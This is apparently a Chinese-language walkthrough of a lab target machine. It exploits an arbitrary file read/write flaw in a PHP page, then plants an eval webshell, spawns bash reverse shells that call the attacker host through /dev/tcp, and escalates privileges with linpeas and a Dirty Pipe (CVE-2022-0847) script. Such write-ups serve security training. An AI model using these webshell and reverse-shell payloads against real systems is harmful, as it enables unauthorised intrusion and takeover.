前言

暑期过半,前一段时间松懈有些浮躁。还是需要静下心来沉淀,茶需慢慢摇,心急则味散。靶机所需要的环境配置这里就不过多赘述

信息搜集

首先扫描一下网段存活的主机

1
arp-scan -l

image-20260731142547590

我们需要渗透的靶机ip就是192.168.100.133

扫描一下端口

image-20260731143405659

开放了3个端口

目录扫描,常规扫描不行,这里要上点手段

1
2
gobuster dir -u 192.168.100.133 -w  /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x php,bak,txt,html

image-20260731145810405

漏洞利用

访问/graffiti.php有一个输入框,抓包看一下

image-20260731150514416

经过测试message的参数会写进graffiti.txt文件中,并且还存在储存型xss,但是没啥用。同理尝试读一下graffiti.php

image-20260731151640475

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
$file="graffiti.txt";
if($_SERVER['REQUEST_METHOD'] == 'POST') {
if (isset($_POST['file'])) {
$file=$_POST['file'];
}
if (isset($_POST['message'])) {
$handle = fopen($file, 'a+') or die('Cannot open file: ' . $file);
fwrite($handle, $_POST['message']);
fwrite($handle, "\n");
fclose($file);
}
}
$handle = fopen($file,"r");
while (!feof($handle)) {
echo fgets($handle);
echo "<br>\n";
}
fclose($handle);
?>

file参数存在任意文件读取,这里读一下/etc/passwd

image-20260731151827578

结合代码分析,当带有message参数时,会先把参数内容写进文件然后直接读取。如果文件名不存在就创建文件,这不明摆着让写马进去

1
message=<?php eval($_POST['1'] ); ?>&file=shell.php

蚁剑连接即可,根目录下有一个flag1

image-20260731154406123

蚁剑还是有些限制需要反弹shell,这里遇到一个问题,就是文件写不进去,试了好久都不行后来发现是没有磁盘空间了,我chova,靶机做的好一点啊。。。写一个php文件

1
2
<?php system("bash -c 'bash -i > /dev/tcp/192.168.100.128/4444 0>&1'"); ?>
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.100.128/4444 0>&1'");?>

访问php文件同时kali监听即可

反弹成功之后接下来需要提权,使用脚本

这是直接上传估计不行,是用wegt下载,https://github.com/peass-ng/PEASS-ng/releases/tag/20260731-9ad89e9d,下载好本地起一个http服务使用wegt下载,然后给个权限

1
chmod -x linpeas.sh

image-20260731171051020

扫到了漏洞,这里使用CVE-2022-0847

1
2
3
wget http://192.168.100.128:7777/Dirty-Pipe.sh
chmod +x Dirty-Pipe.sh
./Dirty-Pipe.sh

image-20260731171243961